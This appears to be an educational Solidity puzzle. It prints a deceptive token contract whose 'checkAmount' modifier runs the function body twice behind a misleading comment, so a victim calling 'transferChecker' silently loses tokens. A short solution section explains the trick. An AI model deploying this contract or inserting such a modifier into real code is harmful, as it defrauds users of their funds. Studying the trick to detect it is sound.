Sneak Thief

Imagine a developer sells you some ERC20 tokens.

Thief

The developer persuades you to call a function to show that transfers are working correctly.
He shows you the functions involved so that you can see they are safe.



function transferChecker(uint256 _amount) public { payContract(_amount); payUser(_amount); } function payContract(uint256 _amount) public checkAmount(_amount) { funds[address(this)] += _amount; funds[msg.sender] -= _amount; } function payUser(uint256 _amount) public { funds[address(this)] -= _amount; funds[msg.sender] += _amount; }

One function takes tokens from your balance and give them to the contract.
The other function reverses the process.
All looks ok

Here is the complete contract

pragma solidity ^0.8.12; contract V4 { address owner; mapping(address holder => uint256 balance) funds; constructor() { owner = msg.sender; funds[address(this)] = 10 ** 18; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier checkAmount(uint256 _amount) { require(funds[msg.sender] >= _amount, "insufficient funds"); /* funds are sufficient */ _; // and amount > 0 require(_amount > 0); _; } function getBalance(address _user) public view returns (uint256) { return funds[_user]; } function payContract(uint256 _amount) public checkAmount(_amount) { funds[address(this)] += _amount; funds[msg.sender] -= _amount; } function payUser(uint256 _amount) public { funds[address(this)] -= _amount; funds[msg.sender] += _amount; } function transferChecker(uint256 _amount) public { payContract(_amount); payUser(_amount); } }

You agree to help the developer...
From your balance of 200 tokens, you call the transferChecker function with 50 tokens.
When you re check your balance you see that you have only 150 tokens
And the developer is nowhere to be seen ....

Solution and discussion

Click here

The functions seem ok, and indeed they are not the problem.
Take a look at that innocent looking modifier `checkAmount` and you should see that we call one of the functions twice.